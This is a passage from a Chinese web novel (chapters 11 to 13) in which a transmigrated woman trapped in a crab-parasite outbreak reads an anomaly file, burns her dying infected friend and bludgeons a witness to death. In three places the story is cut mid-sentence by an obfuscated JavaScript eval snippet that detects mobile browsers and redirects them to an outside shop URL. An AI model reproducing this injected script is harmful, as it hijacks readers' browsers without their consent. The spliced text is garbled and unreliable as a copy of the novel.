比如，这个世界的本土居民对穿越者的态度、以及对穿越者所携带的陌生信息的敏感度。 11. 椅子 当然，还有一点庭芝并不愿意轻易承认的原因。 她不愿亲手杀死王雅笛。毕竟她来到这个世界前也只是普通职工，适应能力再怎么快，也没有达到让她能心安理得地杀死一位同类的程度。 宽大的董事长办公室里安静得落针可闻。 没有蟹人。庭芝控制着几团火焰四散开来，照亮整个大套间。 “里面好像有东西。”王雅笛抬起手指着右侧的一个小房间，她的手臂轻轻地蠕动了一下。 那里是一间小小的休息室。说是休息室，布置得也比较商务，厚厚的床垫铺在一看就造价不菲的床上，微微下陷。 大床很宽，能并排躺下四五个人。 庭芝扶王雅笛在待客用的沙发上坐下，自己一手举着火焰，一手擎着撬棍，戒备地朝休息室缓缓逼近。 在休息室门口，她看见了床上的东西。 那是三具尸体。 两男一女，她们穿着整齐地躺在床上，身上的衣服一看便造价不菲，项链、戒指、袖扣、领带夹一个不落地佩戴整齐，死得比较有仪式感。 庭芝深吸一口气。 她以为不会看见比螃蟹控制人类更诡异的事情了，但在满是蟹人的公司里，董事长办公室里躺着这样三具尸体，更是诡异得没边。 三具尸体致命伤都在脖颈，凶器就散落在她们手边。 “什么情况？”王雅笛轻声问。 庭芝：“好像转到刑侦片片场了。” 她把王雅笛转移到带着轮子的老板椅上，让王雅笛推着椅子过来看。 “哦，探案。”王雅笛挪过来，“我不擅长。但我看得出来他们似乎应该大概是自杀。” 尸体穿戴整齐。三个人死相平和，不像是赴死，而是参加一场晚宴。 王雅笛驾驶着椅子蹭到床边：“这是……林富？” 庭芝：“谁？” “华盛科技的董事长。”王雅笛看了一眼庭芝，给她仔细解释道，“另两个我不知道名字，但也是董事会的成员。华盛是林家的产业，林富是林家某个旁系的成员，另两个人也是林家一手培养起来的。” 庭芝点点头，手上动作没停。这一次她对三具尸体下手了。她把尸体身上的项链袖扣等小首饰通通摘下来，在地上堆成一个小山。 “这不好吧。”王雅笛一边说，一边开始翻找离她最近的男性尸体的衣袋。 动作非常娴熟。 她一边翻一边担心道：“这东西咱们怎么处理？林家的东西很可能刻了专属标记，卖掉的话会查到我们的。” 王雅笛一转头，就看见庭芝正把金饰扔进火里。她控制着火焰温度，将金球一分为二，指着其中一团对王雅笛说：“你的。” 王雅笛嘿嘿笑了两声：“等我出去卖掉，一年工资就有了。” 其实她想说的不是这些。她想说寄生蟹已经在她的身体里了，她想说自己再也出不去了，但她最后还是笑了两声，她也不知道自己是不是在笑。 王雅笛低着头，慢慢、慢慢地在尸体上翻检。 庭芝的声音从外面传来：“我找到了外面那群螃蟹的资料，要来看看吗？” 王雅笛慢慢挪过去，凑在庭芝旁边。 面前的小型电脑还有电，电量在百分之十左右，右下角显示着醒目的红色，提醒看见它屏幕的所有人，该给它充电了。 庭芝对此视而不见，示意王雅笛看屏幕。 【异常调查局异常收容项目表】 异常编号：C-0633食腐母体 异常阵营：敌对 一、异常特质： 1.繁育。给予C-0633足够养分，C0633会在1自然日内繁育出C-0633（食腐幼体）。称呼子一代食腐幼体为C-0633（1），子二代为C-0633（2）,后代以此类推。母体死亡，则子代随即死亡。 2.寄生。C-0633（1）即其子代能够通过开放性创口寄生人类，C-0633本身无法寄生人类。寄生方式为直接进入创口。以下称呼被C-0633寄生者为C-0633（n）-1 3.吞噬。C-0633（n）操纵被寄生者C-0633（n）-1回到C-0633所在处，被C-0633吞噬。C-0633吞噬足够幼体后，会继续繁育流程。 4.C-0633及其子代继承部分蟹类生物特征，畏火、喜阴暗潮湿环境。在阴暗环境下，C-0633（n）-1（被寄生者）体型、攻击力及攻击欲望将显著扩大。 二、异常收容情况： （一）收容者：联盟302年8月19日，由异常调查局外勤部C-17小队收容。 （二）建议收容条件：建议收容在六面覆盖蓝珀原石的房间内，除灯光24小时保持开启状态外，房间内不得放置其它设施，以防止产生足以遮蔽C-0633及其子代的阴影。如有研究需要，请勿在BSL-3级以下的生物实验室进行实验（不包括BSL-3级）。 三、异常借调研究情况： 联盟302年10月7日，由司南科技借调。 联盟302年10月9日，由华盛科技转调。 经办人：司南科技-异常研究院-副研究员何不求 异常特质测试负责人：何不求（后有司南科技及异常调查局公章） ----- 和系统给的信息对上了。 异常调查局收容了食腐母体，借给华盛科技做研究。但由于研究方法不当，食腐母体，或是某些幼体逃出了实验室，寄生了职工。 庭芝将光标转到华盛内部通知网页的几条消息上。 303年11月25日下午，研究部上报异常“食腐”泄露。感染者已达二十余人。 整个研究部也只有六七十人，三分之一个研究部已经沦陷。研究部的人把大部分蟹人关在研究部内部，只有几只蟹人逃了出去。 一小时后，感染者成倍爆发。研究部发来的消息显示，食腐的寄生有潜伏期。只要身上有开放型创口，就会被寄生。 没有开放型创口？没关系。蟹人会帮助制造开放型创口。 这和调查局《异常收容项目表》对食腐的分析有所偏差。食腐幼体会直接进入开放型创口，但最小的食腐幼体体型在1-3公分左右，很难爬进狭小的创口。就算侥幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870698|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻了进去，也会被寄生者发现。 作为一种寄生类异常，它的体型过大了，并不利于寄生。所以，按照《项目表》上的异常信息来看，“食腐”的危险性其实并不高。 那么大一只寄生蟹，钻进皮肤，拔出来不就是了？ 食腐是如何不知不觉地制造那么多潜伏期的幼体携带者的？ 庭芝不知道林富是否发现了这个疑点。因为在接到研究部第二条消息的时候，聊天记录显示，林富拨通了司南科技的内部电话。 他和对面聊了二十分钟。二十分钟之后，林富就下达了全公司封闭加班的指令。又过了十分钟，异常调查局的人封锁了华盛科技，当晚，林富在董事长办公室自杀。 死时买一送二，还附带了两位管理层人员。 “司南科技是咱们的母公司，林富是司南科技派来华盛的。”王雅笛仔细看着房间里的一把椅子，“他应该是在和上级汇报。” 那二十分钟里，司南科技的人，和林富许诺了什么，才能让林富放弃自己的生命，放弃华盛的几百条人命？ 以及，林富没有向异常调查局求救的记录。 那么，是什么人第一时间知道了华盛异常泄露的消息、向调查局报告了华盛的情况、并让调查局将所有人关在这里的呢？ 一定是电话对面的那个人，司南科技的人。 王雅笛也想到了这一点。 “林富为什么自杀？”王雅笛问，“太绝望？” 因为绝望，所以自杀？庭芝不信。 他身处相对安全的董事长办公室。何况看尸体的新鲜程度，林富应该已经死了两天左右。也就是说，林富很可能在接到电话之后就死了。 庭芝遥遥看向林富在26度中央空调下仍然微微腐败的尸体。 三个人平和地躺在床上。 都说死后是一片虚无，但庭芝认为，林富的死后世界，存在着什么她不知道的东西。 这样东西让他从容地面对死亡，毫无在这个世界求生的意志。 林富被控制了？这也说不过去。对面总不能控制着他把那些昂贵的首饰带到身上，就像是死后还能用得上—— 等等。 “你知道有什么可以死后复生的异常吗？”庭芝问王雅笛，“或者类似的技术？” 王雅笛茫然地摇摇头，状态看起来不太好。 庭芝让王雅笛不要多思，安心坐在老板椅上。除了王雅笛坐着的这张之外，小小的卧室里放了三张白色椅子，很软，材质厚实，似曾相识。 她仍然觉得，林富没有死。 碰到椅子的那一刻，庭芝听到了系统的声音： 【系统提示：您已接触到SSS级异常“#@%#…”（残缺）的造物！】 【异常阵营：中立】 【异常特质：无】 【备注：我被塞进了新的躯壳。】 庭芝明白了，椅子上厚实的面料为什么似曾相识。 那是她身上穿的防护服。 庭芝下意识地将手从椅子上拿开，她知道那三张椅子是什么了。 是在她之前来的，异常调查局的D-055外勤队。 12. 第 12 章 “林富和这几个董事会成员有异能吗？”得出这个结论的下一刻，庭芝问王雅笛。 王雅笛摇了摇头。 没有。 D27小队的死有异常或异常能力参与。林富没有异能，那么，林富手里一定有一个高等级的异常！ 这只异常就在这个房间里。 诺亚实时检测系统闪了闪，标出一个红点。 “带走它。”一个小小的机械童声说，“带走它。它是好东西。” 庭芝循着红点的标记，将林富翻过来，她的手摸到了一个硬物。 【系统提示：您已接触到A级异常“隐身衣”（部分）】 【异常阵营：中立】 【异常特质：1.包裹住物体表面，可使物体不为有机生物体感知（包括并不限于视觉感知、听觉感知、触觉感知等）、不被任何异常探查能力探查。。2.当包裹的物体为有机生物时，该生物体移速降低5%。】 【备注：（已隐身）（看不见我）】 看不见的东西包裹得宜，里面是一件棱角分明的硬物。庭芝将它拆开，隐身衣骤然显形，变成一滩银色的，水一样光滑的织物，滑落到地上。 手里只剩下一个二头身的机器人。 【系统提示：您已接触到SSS级异常“造物终端”（残缺）】 【异常阵营：友善】 【异常特质：1.造物终端中已录入现存所有的物品信息。对异常进行扫描，可提取异常信息。2.可指定物品，进行改造。3.@￥*#@（！@））@￥（#@）4.@￥！￥#￥￥%！5.这是造物的神迹，不可被任何探查手段标记。】 【备注：！@#（￥）（！）@）】 【系统提示：燔者能力演化条数＜10，S级以上异常有50%可能收容失败；SS级以上异常有80%可能收容失败；SSS异常有98%可能收容失败。收容失败，您将死亡。】 庭芝第一次见到不能吃的异常。 机器人整体是一个长方形脑袋连着一个小的正方形身体。它摇了摇它的长方形屏幕：-(^*^)- 随后，它的屏幕上出现“电量低T*T”的提示。 “为什么要让我带走它？”庭芝问诺亚。 “带走它。”诺亚重复道，“作为报酬，我帮你解决自我意识保有率的问题。” “有我在，你的自我意识保有率会保持正常。” 的确。 庭芝别无选择。逃过一次检测，不可能逃过每一次。既然自我意识保有率和穿越者身份强挂钩，那她初来乍到，只能相信诺亚。 “你起码要告诉我，那是什么。”庭芝重复道，“利用我也好，想帮我也罢。把事情挑明，对你我都没有坏处。否则，即便我因为保有率被异常调查局追杀，我也不会带一个不知道根底的东西走。” 诺亚沉默良久。久到庭芝几乎要放下造物终端离开时，它才开口：“你就这么好奇它是什么？” 庭芝笑了。 “好奇是人类的本性。” 诺亚又安静了一会。这回庭芝默默地等着它，十几秒后，它说：“这是另一个我。现在不能对你说太多，知道太多，你会出问题。” 庭芝没有再问。她将造物终端再次用隐身衣包好，塞进背包最底部。 储备粮+1。 等等。 庭芝突然意识到诺亚系统的问题。 这一路上，所有异常都被诺亚系统标注出来，只有一个例外。 “逆止膜。” 诺亚是司南科技的人工智能。它甚至能标出SSS级的造物终端，没道理不标出一个A级的逆止膜。 除非，它不想让进入这里的人知道逆止膜的存在。 庭芝拨通了银盾队员的联系方式，意料之中，没有接通。 她突然明白了。 逆止膜不是异常调查局为了封闭华盛科技而铺设的。它是司南科技设置的。 因为某种原因，司南科技不想让里面的任何人出来。D-27小队作为后进去救人的这一批人，也不能出来，所以他们死在了华盛科技。 但他们没想到的是，在华盛几乎没有人存活的情况下，在D27小队之后，异常调查局还派了庭芝，进入这个必死的魔窟。 “我们去实验室。”庭芝对王雅笛说。 食腐入夜后，攻击力会提高。庭芝并不想见识升级后的蟹人，她需要速战速决，赶紧解决掉食腐母体。 庭芝一边观察着诺亚系统上的实时异常监测，一边带着王雅笛避开蟹人。 庭芝用没有伤口的那只手臂扶着王雅笛，另一只手拿着撬棍。两人的脚步声在长长的走廊里十分清晰。 这条走廊通向研发部的BSL-3级实验室，长长的走廊本身就是一道缓冲区。 这里本应有一整套顶级的定向负压系统，但现在用以维持系统的备用电源也被耗尽，负压系统成了摆设。 二人前方的走廊墙面上，有一个个小小的房间门。门上刻着研发组人员的工号，是他们的储物间。 昏暗的走廊里，骤然亮起一团火。 火焰照出两个缓缓走来的人影。 它悬浮在庭芝身前一米处，保持着足够照明，又不至于让王雅笛感受到灼热的尺度。 哒哒……哒哒。 王雅笛一点一点虚弱下去。 “这里是个暴风雪山庄。外面的人把活人和死人关在一起，等着活人变成死人。”庭芝慢慢地说，特意加重了“暴风雪山庄”几个字。 “你知道暴风雪山庄吗？” 这个世界类似于平行世界，没有那本著名小说。 王雅笛扭过头，定定地看了庭芝一会。 “怎么了？”庭芝细心地擦掉王雅笛脸上马上要滴下来的冷汗。 连庭芝自己都赞叹于自己的细心。 王雅笛很快调整了表情：“没什么。是你在看的小说吗？” 还看不出什么。 自己的思路错了。庭芝想。 太文明了。 这个世界的科技程度到了顶峰，但文明程度似乎没有。 这里的人们轻贱人命，他们轻易地抛弃一群人去死，换取另一群人得生。 而现在，庭芝和一个将死之人一起被关在这里。 这里没有信号，不会泄密，唯一可能听见她们说话的是一群海鲜包子。 其实很适合做一些刑法书上写着的事情。 但庭芝不是那种人。 所以她并没有逼问王雅笛。 当然，也是因为，太过明显和暴力的逼问，会导致将死者的谎言。 王雅笛不知道这一切，她还在庭芝旁边缓慢地走着。 “小笛子。”庭芝干脆再次将王雅笛背在了背上，“我们说说话吧。” 王雅笛的声音很轻，似乎正在虚弱下去：“好。” “你知道地球和月亮吗？” 王雅笛没有说话。 “你知道中国吗？” “你知道美国吗？” 王雅笛依然在沉默，她的牙关中挤出一丝微小的抽泣。 庭芝听见她在哭。但她不知道她为什么哭。 这一路，王雅笛一直都是积极乐观的。即使碰上了【厄运】这样的debuff，她也没有表现出太多的无助。 于是庭芝继续问道：“你知道孔子吗？你知道柏拉图吗？苏格拉底？李世民？林肯？苏轼？毕加索？” 王雅笛的头安静地靠在她的耳侧。 “别睡，小笛子。”庭芝温和地说，“回答我吧。” 她们走过一排小房间。这里是研究员的储物室。研究员进实验室前，要将个人物品全部存在这里，然后换上里面的防护服。 “抱歉，我不知道。”王雅笛伏在庭芝背上沉沉地说，“小芝子，你把我放下吧。就前面那个储物间，我有话对你说。” 一瞬间两个人陷入了死一般的沉寂。 连庭芝的火光也因为跨入低矮的储物间，晃了一下，才在墙上投出两个人的影子。 “我还有最后一个问题，小笛子。”庭芝问道，“你们把一瞬之间忘记所有过往的；会说出从未听过的人名、地名的；和之前的自己大相径庭的这种人——叫做什么？” 两人就这样面对面地坐在狭小的储物间里，四面都是灰尘。 “我知道，小芝子，我知道你要问的是什么……或许不应该叫你‘小芝子’。” “再见到你的第一眼，我就知道你不是庭芝，不是我的朋友。” “你是个‘降灾’。” 庭芝得到了她想要的答案。 王雅笛只是一个普通职工。已知王雅笛知道穿越者的存在，穿越者不止一个—— 这个世界的人，知道穿越者这个群体的存在！ 原住民称呼穿越者为“降灾”。如果真的是她脑子里想的这两个字，那么，原住民和穿越者之间，多半是敌对关系。 他们意识到穿越者的存在，并且将穿越者视为异类。 感受到庭芝的沉默，王雅笛短促地笑了一下。 “我们知道‘降灾’的存在，所以，你不要在别人面前暴露。”王雅笛直视着庭芝的眼睛，“异常调查局，还有‘司南’的高层都在抓捕‘降灾’，你很危险。” 庭芝安静地看着王雅笛：“小笛子，你想太多了。睡一觉吧，我会送你出去。” “小芝子？”王雅笛笑着说，“你该问我，‘他们为什么要抓捕降灾呢’？” “哦。”庭芝乖乖地重复王雅笛的话，“那我来问问我们万能的小笛子，他们为什么要抓捕降灾呢？” 王雅笛笑。庭芝翻了原主的智脑，知道原主和王雅笛日常闲聊时就是这样一幅光景。 庭芝熟悉的是那个给庭芝发信息的，打出“哈哈哈哈哈哈哈”一行字的王雅笛，此前她花时间去了解王雅笛是为了伪装原主，“王雅笛”这个名字对她来说只是一个需要套着“庭芝”的皮去攻略的NPC。 但庭芝在逐渐了解王雅笛，真实的、有血有肉的，不能被“王雅笛”三个字概括的王雅笛。就像她没有想到王雅笛是这么鲜活的人，她也没有听过王雅笛这么快乐的、没有形象的笑，像是大鹅在叫。 “其实我也不知道。”王雅笛笑够了，说，“官方的原因，是因为降灾作为第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878244|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二世界来客，非我族类，其心必异。所以他们要抓捕降灾，用来反向熟悉第二世界的文化和科技。 “我知道你是降灾，你还打算带我走吗？”王雅笛在庭芝背上小声问。 庭芝沉默了。只有一两秒钟，但王雅笛总能精准地看出她的沉默。 “我已经被寄生了。”王雅笛开门见山地说，“小芝子，你不需要带我走了。 “你不是一直都知道吗？你看了我的胳膊好几次。” 她拉起上衣，显露出腹部的一处伤口。伤口不长，却很深，甚至可以在里面看到微微蠕动的脏器，和正从她的内脏中抓下肉粒来吃的，小小的寄生蟹。 在张曌康的办公室里，王雅笛被盆栽绊倒，摔倒在花盆的碎片里。 瓷制的花盆碎片割开了她的腹部，张曌康身体里的寄生蟹就在那时寄生了她。 庭芝伸出手碰了碰王雅笛的伤口。伤口温度很高，很烫，是她残余的生命在沸腾：“我送你走。你想什么时候走？在这件事上，你还有选择。” “现在就要送我走吗？”王雅笛问，“可我还有话要对你说。你叫什么？” “庭芝。”庭芝说，“我叫庭芝。” 王雅笛的手按在庭芝手上，她的手也很热，她在发烧：“这是我朋友的名字。我是说，作为一个不依附于这具身体的魂灵，你叫什么名字？” 火焰将王雅笛的脸照得通红。两人静默地坐着，面容显现出浓重的阴影。 庭芝口袋里的小丑面具想要钻出来，被庭芝按了下去，发出一声“呜”的鬼叫。 “庭芝。我们有着同样的名字。” 王雅笛固执地盯着庭芝。 “原来如此。你好，庭芝。 “你是庭芝，没有父母，体检健康，没有基因病。你我们现在正在负责的工作是对接司南A级研究员何不求，他的照片，你的智脑里有，是个长头发的男人，脸色很白……现在的世界绝大部分被异常占领，我们在“墙”内，司南科技主导墙里的人们，建立了幸存者联盟和异常调查局。你在智脑——就是你的手环上查一查，你的人工智能会告诉你的。 “……你的人工智能叫来财……你应该已经看到了。这个名字还是我起的呢……” 火焰安静下去。 “哦对了……还有我……我叫王雅笛，是庭芝的朋友。我和庭芝从孤儿院一起出来，上同一所中学，然后上同一所大学。我们……无话不谈。我们的孤儿院到中学，都是‘司南’专门资助的机构。你回去翻翻柜子，总会找到她放的身份证明。庭芝这人很怪的……称呼别人通常叫全名，在公司，一般直接叫工号。 “是的，我一直看得出你不是庭芝。但她已经死了，我也要死。请你带着庭芝的身体去更远的地方吧。我们是一样的，我喜欢刺激和冒险，她也一样。” 她乱七八糟、前言不搭后语地说了好长一串话，似乎累极了，将头靠着墙面，发出急促的喘息： “这就是……能告诉你的，我们这里的全部信息了。走吧，去哪里都可以。别让他们找到你。” “多谢。”庭芝干着嗓子说。 “不用谢我。”王雅笛按了按她的喉咙，那里被寄生蟹顶出一个奇异的形状。 她下了狠手，把它们按下去，让自己恢复一个正常的人形：“你已经带我走了很远了。和你一起，我很开心，好像自己什么事都能做到。” “你知道吗？”王雅笛的眼睛不再聚焦，她的视线望向不知何处的虚空。 “我喜欢那种刺激的、不知道下一秒会发生什么的生活。但在毕业的时候，我还是和庭芝一起，放弃了异常调查局，选择了华盛科技。” “但我今天很开心。我好像回到了中学时代。镀金区没有蓝珀区永远二十六度的天气系统，某一天，下了好大的雷雨，好大，风把教室里的窗户都吹掉了。我有点害怕，又有点激动。” “那时候我真想跑出去，但我没有。” 王雅笛顿了顿，似乎真在怀念遥远的中学时代。 “谢谢你，小芝子，带着我和庭芝一起冒险。” 属于人类的声音逐渐弱下去，寄生蟹的沙沙声在女人的皮囊中响起。 庭芝合上王雅笛的眼睛。这双眼睛即将被寄生蟹撑开，她会变成无知无觉的行尸走肉。 她的火焰点燃了王雅笛的身体。 王雅笛手腕上的智脑发出徒劳的警报声：“监测到您状态异常！是否联系最近医疗机构？十……” 庭芝静静地听着机械音读秒。 这里没有信号，智脑的警报声在数到一的时候戛然而止，随后被火焰燃成一抔飞灰。 庭芝这才将注意力转移到手里的东西上。 “等等！放我出去！”一个声音乍然响起。 声音的来源是庭芝身下的座位。 这个座位是被焊在地上的，四面包着铁皮，唯一的开口在上面，整个形状像是一口棺材。 这口棺材从外面很容易就可以打开，但限于空间，却很难从里面推开。 有个人一直、一直躲在这里。 他安静地龟缩在狭小的座位内部，听完了王雅笛和庭芝的全部对话。 13. 第 13 章 庭芝背后汗毛乍竖。 她眼神一厉，回头看向声源处。 小丑面具本来已经从口袋里爬到了庭芝肩头，被庭芝猛然的回头吓得一哆嗦，差点掉下去：“吔！主人，他好自闭哦。” 庭芝：…… “这里发生了什么？”庭芝没急着帮男人打开盖子，她顺手又坐回了座位上，扬声问，“其他人都死了吗？” 为了防止里面的人听不到她说话，她特意放大了声音。 她一向如此贴心。 “你先放我出去再说！你……”里面的人气急败坏。 脾气不大好。 庭芝道：“我可是在关心你现在的状况。你如果不回答我，我完全可以把你扔在这里。连棺材都省了。” 里面的人适时的安静下去。 庭芝拍了拍盖子：“快说吧。” 里面的人：“我们低估了食腐的寄生能力。异常研究是蓝海，华盛选择食腐作为扩展异常科技市场的第一个项目，也是看中了它的可控性。毕竟，食腐幼体的体型过大，作为寄生虫来说，它的寄生能力太弱了，它们几乎没有可能寄生一个有痛觉的人类。” “但我们没有想到的是，食腐在进化。食腐幼体会在创口处产卵，新孵化出的食腐体型更小，这就大大提高了它们的寄生能力。这种新进化出的食腐幼体” “一开始是N——不记得了，没有智脑，我不记得他的工号——总之他被感染了。他想带几只食腐幼体去卖，所以他把食腐放进了他的防护服内。然后他被寄生了。” “但他那个疯子！他知道自己被感染，竟然没有上报！他若无其事地在研发部待了很久，直到……直到他们一个组的研究员都被感染了！” 男人的语速越来越快，似乎这样的讲述又把他拖回了几天前疯狂的噩梦里：“事情闹大了。他们组觉得不能这样白死，准备偷偷‘狩猎’其他部门的人。很多人都被感染了。” 庭芝静静地听着他说话，几乎能看到当时涌动的暗流。 “这时候，没有人逃出去吗？”庭芝问。 “被感染的人没有明显症状。加上何极他们做得很隐蔽……后来，越来越多的人变成怪物……总之过了不到一个小时，上面就下达了加班的指令，要求所有人留在公司。” 庭芝皱眉：“同事都变成了怪物，没人发现不对劲吗？” “工作交接都在线上，加上加班通知上说，为了机密，要求大家尽量不要离开办公室。所以……很多人都是等怪物打到了办公室门口，才意识到，自己马上就要死了。” 打着一级机密、加班的名号，职员们甚至不会有任何怀疑。 毕竟，这是他们的日常。 这次性价比甚至更高，有十倍工资的补贴。 于是他们联系了家人。 告诉他们，自己很快就能回去。自己这次能挣一笔大钱。 “谢谢你。”庭芝真诚地拉开盖子，“为了酬谢你的知无不言，我决定把你放出来。” 座位里面钻出一个男人。 他眼睛通红，衣服上沾满灰尘，下巴上已经长出了青色的胡茬，很明显已经在这里待了不知道多久。 庭芝安静地看着他。 把这人放出“棺材”，并不代表她准备把他放出这个房间。 庭芝没有忘记，这个人听到了自己和王雅笛的对话。 他知道自己是个“降灾”。 “你有吃的吗？”男人问，“我在这里趴了一天半，快饿死了！” 庭芝想了想自己背包里的烤螃蟹，认真说道：“你不会想吃我的东西的。” “快快快！”男人开始伸手扒拉她放在一边的背包，“我什么都吃！” 庭芝任他掏出背包里的东西。 男人掏出了一只寄生蟹。 他看看手里明显经过处理和烹调——如果生烤算是一种烹调方式——的螃蟹，又看看庭芝，脸上露出了交杂着惊诧、恐惧和恶心的表情。 “不吃吗？”庭芝问，“吃饱了才有力气上路啊。” 上什么路呢。好难猜哦。 小丑面具在背包最底部听到了庭芝和男人的对话，它窃笑。造物终端学着小丑面具的样子，发出机械的哈哈哈声。 屋子里一时间充满了诡异又欢乐的气氛。 男人拿着手里的螃蟹翻来覆去地看了看，几次张嘴，最终还是没有下口：“吃异常……会被它污染，会掉自我意识保有率的！” 新名词。 庭芝颇具好奇心地问：“什么是自我意识保有率？” 她觉得，自己来到这个世界之后，看什么都新鲜，像个刚出生的孩子。 男人没说话。他仍然在和螃蟹作心理斗争，无暇理会螃蟹之外的事物。 没关系。庭芝原谅了他。 她出去之后可以在智脑上搜。干嘛和出不去的人一般计较。 男人最后还是把螃蟹放回了庭芝的背包里。 放回去的时候他觉得背包里的东西有些扎手，借着庭芝的火光一看，一堆整整齐齐的死螃蟹正安静地躺在背包里。 “走吧，咱俩一起。”男人站起身，对庭芝说，“只要你把我带出去，我就不会把你是降灾的事情宣扬出去的。” 庭芝：？？？ 小丑面具怪笑：“主人！这家伙自闭久了，好像没看清形势诶！要不把他赏我，当新的小丑？” 庭芝顿时觉得自己像个反派。 所以她拒绝了小丑的提案。 “不行。”庭芝坚定拒绝道，“你在蓝珀区附身小丑，等咱们出去，肯定会被调查局抓到的。” 小丑面具乱七八糟地撒泼。 庭芝威胁道：“你也不想和那大螃蟹一样，被人抓去做研究吧。” 在一旁被忽略的男人：…… “咱们什么时候出去？”他终于意识到了不对，朝旁若无人的庭芝和面具试探着问道。 “这就上路。”庭芝道。 只要除掉这空穴里的唯一一个活人，任何怀疑她是降灾的言论都是空穴来风。 她压制住立刻举起撬棍的冲动，放软声音道：“现在……现在就走。你别把我是降灾的事情说出去。你有异能吗？如果没有……” 小丑面具看了看庭芝，发出见了鬼似的叫声。 这么能演？ 男人收起质询的表情，换上一脸理所当然：“没有！你以为谁都像你这样好运气？我告诉你，就算我没有异能……” 庭芝一秒收起所有矫揉造作的奇怪表情，没让男人说完这一句话： “如果不是，那我就要打死你了。” 没有异能=没有威胁。 一个毫无威胁，且知道她的秘密的，可以说话的人类活生生地站在庭芝面前。 不巧，庭芝手里恰巧有一根撬棍。 ——挥动撬棍！ 庭芝从善如流地跟随自己本心的安排，挥起撬棍，像打棒球一样击打了男人的头颅。 打了个空。 面前毕竟是一个活生生的人类男性。 在感受到危险时，他一瞬间爆发出了潜能，躲开庭芝的撬棍，夺门而出！ 这个人其实逃不远，外面是蟹人，里面是食腐母体。他十死无生。 但庭芝不信任食腐，她只信任自己。她必须保证看到知情者的尸体，保证她的秘密不会被泄露。 庭芝握紧撬棍，追了上去。 ----- 走廊尽头是一扇气密门。它比较坚固，在它锁着的时候，不支持任何人夺门而出。 门里是淋浴区，如果要进入BSL-3实验室，必须穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881093|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防护服在这里喷淋过一遍消毒剂。 P-6-248062躲在门后，一声不敢出。 门没有上锁。 这扇门在被生产出来时，就没有考虑过断电的情况。 毕竟华盛科技的备用电源不会让内部出现断电的情况。 所以，它只有电子锁，而不可以手动关闭。 很不人性化。P-6-248062瑟瑟发抖地想。如果一扇门不能被人锁上，那它还算是门吗。 哒。哒。 那个疯狂的女人又来了。 P-6-248062不明白。为什么她刚才还慌张地求自己不要把她是降灾的事情说出去，下一秒就朝自己抡起撬棍。 他好不容易逃出来，跑到这里，到了绝路。 他无路可逃。 但也并不是完全无路可逃。 淋浴间有两个出口。一个出口被撬棍女人堵着，另一个出口直通实验室内部。 P-6-248062不敢去那里。他就是从那里逃出来的。 “食腐”的母体就在那里。 他后背死死顶着门，他看见自己的腿在颤抖。 女人的脚步声近了。隔着厚厚的气密门，他似乎能听到撬棍拖在地上的声音。 有声音吗……还是没有…… 好像……声音停了。 P-6-248062把耳朵小心地贴在门上。 安静。好安静。 或许她已经走了。我……能出去了吗？ 门开了。 ----- P-6-248062惊恐地看着庭芝。 女人身后是一道火墙，堵住了他逃离的路。 庭芝问：“你叫什么名字。” 她的语气很平和，语调几乎没有变化。她逆着火焰的光站在那里，脸上是浓墨重彩的阴影。 “吴吉。”P-6-248062瘫坐在地上。他下意识地回答女人的问题，像个最乖巧的学生。 “你还有什么话要说吗。”女人平铺直叙，仿佛她的手里没有握着另一个人的生命，“我会记住的。” 吴吉在思考。 他从没有思考得这么快，好像一辈子的脑汁要在此刻绞尽。 他想不出什么。 他的父母？去世了。 他的爱好？好像没有。 吴吉努力地去想自己一生里最关心的事情，但他唯一能想到的，和他的生活密切相关，和他的工作密切相关，和他的未来、前途密切相关的东西…… 竟然只有他的研究对象，“食腐”。 面前的女人仍然居高临下地看着他。她的脸上没有不忍，也没有不耐。 “请转告异常调查局，食腐母体的异常等级应为B+。”吴吉听到自己的声音，声音在颤抖，“根据我们的……观察，食腐母体繁育十七次后，能力提升，但未……未见‘规则性能力’发生。” “我记下了。”庭芝说。 庭芝挥动撬棍。 男人倒在地上，脸上没有恐惧。 当然，这主要是因为庭芝打碎了他的半个脑壳，剩下的半个脑壳不足以展示出太活灵活现的恐惧。 一个活生生的，知道庭芝秘密的人，变成了一个死翘翘的，知道庭芝秘密的尸体。 这是庭芝第一次，杀死自己的同类。 出乎庭芝意料，看着眼前的尸体，她没有想象中的恶心，只有一丝淡淡的安心。 解决了。 庭芝撤去身后的火墙，只留下一小缕火焰照明。 火墙只有薄薄一层，起到一个威慑的作用。 如果人类想要穿越，是轻而易举的事。 她缓缓推开喷淋间里，另外一扇，吴吉到死也不敢推开的门。 门后一片黑暗。